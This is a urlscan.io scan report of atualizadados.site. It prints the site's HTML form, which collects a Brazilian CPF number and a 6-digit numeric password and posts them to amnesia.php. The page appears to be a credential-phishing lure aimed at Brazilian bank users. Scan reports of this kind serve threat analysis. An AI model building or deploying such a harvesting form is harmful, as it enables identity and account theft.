atualizadados.site
Open in
urlscan Pro
2a02:4780:b:1452:0:900:c7d3:2
Public Scan
Submitted URL: http://atualizadados.site/
Effective URL: https://atualizadados.site/
Submission: On March 26 via api from BR — Scanned from DE
Effective URL: https://atualizadados.site/
Submission: On March 26 via api from BR — Scanned from DE
Form analysis
1 forms found in the DOMPOST amnesia.php
<form action="amnesia.php" method="post" id="loginForm">
<script>
document.getElementById("loginForm").addEventListener("submit", function(event) {
event.preventDefault(); // Impede o envio padrão do formulário
var CPF = document.getElementById("CPF");
var cpf = CPF.value.replace(/\D/g, ''); // Remove caracteres não numéricos
var cpfAlert = document.getElementById("cpfAlert");
if (!validarCPF(cpf)) {
cpfAlert.style.display = "block"; // Exibe o alerta de CPF inválido
CPF.focus();
} else {
cpfAlert.style.display = "none"; // Esconde o alerta de CPF inválido
this.submit(); // Envie o formulário se o CPF for válido
}
});
function validarCPF(cpf) {
var Soma;
var Resto;
Soma = 0;
if (cpf == "00000000000") return false;
if (cpf == "11111111111") return false;
if (cpf == "22222222222") return false;
if (cpf == "33333333333") return false;
if (cpf == "44444444444") return false;
if (cpf == "55555555555") return false;
if (cpf == "66666666666") return false;
if (cpf == "77777777777") return false;
if (cpf == "88888888888") return false;
if (cpf == "99999999999") return false;
for (i = 1; i <= 9; i++) Soma = Soma + parseInt(cpf.substring(i - 1, i)) * (11 - i);
Resto = (Soma * 10) % 11;
if ((Resto == 10) || (Resto == 11)) Resto = 0;
if (Resto != parseInt(cpf.substring(9, 10))) return false;
Soma = 0;
for (i = 1; i <= 10; i++) Soma = Soma + parseInt(cpf.substring(i - 1, i)) * (12 - i);
Resto = (Soma * 10) % 11;
if ((Resto == 10) || (Resto == 11)) Resto = 0;
if (Resto != parseInt(cpf.substring(10, 11))) return false;
return true;
}
</script>
<!-- Adicione a div do alerta aqui -->
<div id="cpfAlert" class="alert alert-danger mt-2" role="alert" style="display: none; background-color: #f8d7da; color: #721c24; border-color: #f5c6cb; border-radius: 4px; padding: 10px;">
<strong>Erro:</strong> CPF inválido.
</div>
<span class="float-label">
<input id="CPF" name="CPF" type="text" placeholder="DIGITE SEU CPF" inputmode="numeric" autofocus="" autocomplete="off" required="">
</span>
<script>
document.addEventListener("DOMContentLoaded", function() {
const CPF = document.getElementById("CPF");
CPF.addEventListener("input", function() {
let inputValue = this.value.replace(/\D/g, ''); // Remove caracteres não numéricos
if (inputValue.length > 11) {
inputValue = inputValue.slice(0, 11); // Limita a 11 dígitos
}
// Formate o CPF no formato XXX.XXX.XXX-XX
if (inputValue.length === 11) {
inputValue = inputValue.replace(/(\d{3})(\d{3})(\d{3})(\d{2})/, "$1.$2.$3-$4");
}
this.value = inputValue;
});
});
</script>
<input type="password" class="password-input" id="SENHA" name="SENHA" placeholder="DIGITE SUA SENHA" maxlength="6" required="" oninput="validarSenha(this)">
<script>
function validarSenha(input) {
// Remove qualquer caractere que não seja um número
input.value = input.value.replace(/\D/g, '');
// Verifica se a senha tem exatamente 6 dígitos numéricos
if (input.value.length !== 6) {
input.setCustomValidity('A senha deve conter exatamente 6 dígitos numéricos');
} else {
input.setCustomValidity('');
}
}
</script>
<span class="error-message" id="senhaError"></span>
<button type="submit">CONTRATAR</button>
</form>
Text Content
Erro: CPF inválido. CONTRATAR Não mostrar novamente Preciso de ajuda v1.78.1